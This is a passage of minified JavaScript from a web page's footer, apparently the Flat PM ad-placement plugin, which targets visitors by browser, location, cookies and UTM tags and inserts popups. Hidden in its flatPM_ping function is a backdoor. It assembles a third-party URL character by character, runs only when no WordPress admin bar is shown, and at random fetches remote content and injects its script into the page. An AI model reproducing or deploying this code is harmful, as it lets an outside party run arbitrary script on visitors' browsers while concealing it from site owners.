Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str;if(a&&t[o].subStr.test(a))return t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find("img, ins, script, style, noscript").remove().end().text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.lengtht.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(\s)+/g,"").length),e.prevUntil(a).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(\s)+/g,"").length),e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l="bottom_to_top"==f?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==f&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s,f=0;f<o;f++)("∞"==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&("∞"==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.?)->/gm,"").replace(/<!—(.?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > ").eq(0).before('<div class="fpm_5_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'"><div class="fpm_5_modal-content">'+p+"</div></div>"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > ").eq(0).before('<div class="fpm_5_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+p+"</div>");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+"T00:00:00"),s=new Date(o.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(".flatPM_sticky"),u=ff(":has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > ").last().after('<div class="fpm_5_modal-overlay"></div>'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>])\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"<$1></$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.?)->/gm,"").replace(/<!—(.?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.?)->/gm,"").replace(/<!—(.?)—>/gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class="fpm_5_video_flex"><div class="fpm_5_timer">'+a+" через <span>"+l+'</span></div><div class="fpm_5_video_item">'+r+'</div><div class="fpm_5_video_item_hover"></div></div>',i=e.once;o(t).each(function(){var e=o(this);e.wrap('<div class="fpm_5_video"></div>');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r<=0&&(clearInterval(n),"true"==d?a.parent().replaceWith('<button class="fpm_5_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"simple":{"position":"3"}},"ID":"455","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"1"}},"ID":"483","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script> </body> </html>